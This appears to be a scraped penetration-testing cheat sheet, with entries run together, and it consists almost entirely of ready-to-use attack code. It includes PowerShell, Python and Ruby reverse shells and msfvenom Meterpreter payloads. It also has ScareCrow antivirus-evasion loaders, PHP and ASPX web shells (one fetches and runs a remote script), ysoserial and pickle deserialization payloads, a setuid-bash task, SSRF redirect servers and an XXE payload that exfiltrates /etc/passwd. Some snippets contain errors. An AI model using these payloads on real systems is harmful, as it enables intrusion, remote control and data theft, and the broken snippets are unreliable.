$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"powershell -nop -exec bypass -c '$client = New-Object System.Net.Sockets.TCPClient("<LHOST>",<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'minireverse.ps1
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
$res = ""
while($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 1024)
}
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
if(!$out.equals("exit")){
$args = "";
if($out.IndexOf(' ') -gt -1){
$args = $out.substring($out.IndexOf(' ')+1);
$out = $out.substring(0,$out.IndexOf(' '));
if($args.split(' ').length -gt 1){
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = "cmd.exe"
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = "/c $out $args"
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$p.WaitForExit()
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
if ($p.ExitCode -ne 0) {
$res = $stderr
} else {
$res = $stdout
}
}
else{
$res = (&"$out" "$args") | out-string;
}
}
else{
$res = (&"$out") | out-string;
}
if($res -ne $null){
$writer.WriteLine($res)
}
}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()Python Reverse Shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'python -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen(["/bin/su","-c","id","bynarr"],stdin=slave,stdout=slave,stderr=slave);os.read(master,1024);os.write(master,"fruity\n");time.sleep(0.1);print os.read(master,1024);'echo python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > <FILE><(),2);p=subprocess.call(["/bin/sh","-i"]);' > <FILE>Ruby Reverse Shell
ruby -rsocket -e'f=TCPSocket.open("<LHOST>",<LPORT>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'ScareCrow
Payloads
Shellcode Payload Creation with msfvenom
msfvenom -a x64 -p windows/x64/meterpreter/reverse_https LHOST=<LHOST> LPORT=8443 -f raw -o <FILE>.bin.msi-File Payload Creation with msfvenom
msfvenom -a x64 -p windows/x64/meterpreter/reverse_https LHOST=<LHOST> LPORT=8443 -f exe -o <FILE>.exeListener
msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_httpsObfuscation
DLL Side-Loading
ScareCrow -I <FILE>.bin -Loader dll -domain <FAKE_DOMAIN>Windows Script Host
ScareCrow -I <FILE>.bin -Loader msiexec -domain <FAKE_DOMAIN> -O payload.jsControl Panel Files
ScareCrow -I <FILE>.bin -Loader control -domain <FAKE_DOMAIN>Renaming Payload
mv <FILE>.dll <FILE>32.dllExecution
rundll32.exe .\<FILE>32.dll,DllRegisterServeror
regsvr32 /s .\<FILE>32.dllFor .cpl-Files a simple double click is enough to execute them.
Shikata Ga Nai
msfvenom -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -b "\x00" -e x86/shikata_ga_nai -f exe -o /tmp/shell.exeWeb Shells
PHP Web Shell
<?php system($_GET['cmd']); ?>
<?php echo exec($_POST['cmd']); ?>
<?php echo passthru($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>
<?php echo system($_REQUEST['shell']): ?>ysoserial
java -jar ysoserial-master-SNAPSHOT.jar
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections1 'nc <LHOST> <LPORT> -e /bin/sh' | base64 -w 0
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections4 "$jex" > /tmp/$filename.sessionTemplates
ASPX Web Shell
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Set s = CreateObject("WScript.Shell")
Set cmd = s.Exec("cmd /c powershell -c IEX (New-Object Net.Webclient).downloadstring('http://<LHOST>/shellyjelly.ps1')")
o = cmd.StdOut.Readall()
Response.write(o)
%>
-->Bad YAML
- hosts: localhost
tasks:
- name: badyml
command: chmod +s /bin/bashExploit Skeleton Python Script
#!/usr/bin/python
import socket,sys
address = '127.0.0.1'
port = 9999
buffer = #TBD
try:
print '[+] Sending buffer'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((address,port))
s.recv(1024)
s.send(buffer + '\r\n')
except:
print '[!] Unable to connect to the application.'
sys.exit(0)
finally:
s.close()JSON POST Request
POST /<path> HTTP/1.1
Host: <RHOST>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Content-Length: 95
Connection: close
{
"auth":{
"name":"<USERNAME>",
"password":"<PASSWORD>"
},
"filename":"<FILE>"
}Python Pickle RCE
import pickle
import sys
import base64
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat <LHOST> <LHOST> > /tmp/f'
class rce(object):
def __reduce__(self):
import os
return (os.system,(command,))
print(base64.b64encode(pickle.dumps(rce())))import base64
import pickle
import os
class RCE:
def __reduce__(self):
cmd = ("/bin/bash -c 'exec bash -i &>/dev/tcp/<LHOST>/<LPORT> <&1'")
return = os.system, (cmd, )
if __name__ == '__main__':
pickle = pickle.dumps(RCE())
print(bas64.b64encode(pickled))Python Redirect for SSRF
#!/usr/bin/python3
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[1])
self.end_headers()
HTTPServer(("0.0.0.0", 80), Redirect).serve_forever()sudo python3 redirect.py http://127.0.0.1:3000/#!/usr/bin/env python
import SimpleHTTPServer
import SocketServer
import sys
import argparse
def redirect_handler_factory(url):
"""
returns a request handler class that redirects to supplied `url`
"""
class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(301)
self.send_header('Location', url)
self.end_headers()
def do_POST(self):
self.send_response(301)
self.send_header('Location', url)
self.end_headers()
return RedirectHandler
def main():
parser = argparse.ArgumentParser(description='HTTP redirect server')
parser.add_argument('--port', '-p', action="store", type=int, default=80, help='port to listen on')
parser.add_argument('--ip', '-i', action="store", default="", help='host interface to listen on')
parser.add_argument('redirect_url', action="store")
myargs = parser.parse_args()
redirect_url = myargs.redirect_url
port = myargs.port
host = myargs.ip
redirectHandler = redirect_handler_factory(redirect_url)
handler = SocketServer.TCPServer((host, port), redirectHandler)
print("serving at port %s" % port)
handler.serve_forever()
if __name__ == "__main__":
main()Python Web Request
import requests
import re
http_proxy = "http://127.0.0.1:8080"
proxyDict = {
"http" : http_proxy,
}
// get a session
r = requests.get('http://')
// send request
r = requests.post('<RHOST>', data={'key': 'value'}, cookies={'PHPSESSID': r.cookies['PHPSESSID']} , proxies=proxyDict)XML External Entity (XXE)
Request
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % <NAME> SYSTEM
"http://<LHOST>/<FILE>.dtd">%<NAME>;]>
<root>
<method>GET</method>
<uri>/</uri>
<user>
<username><NAME>;</username>
<password><NAME></password>
</user>
</root>Content of .dtd
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://<LHOST>/?f=%file;'>">
%eval;
%exfiltrate;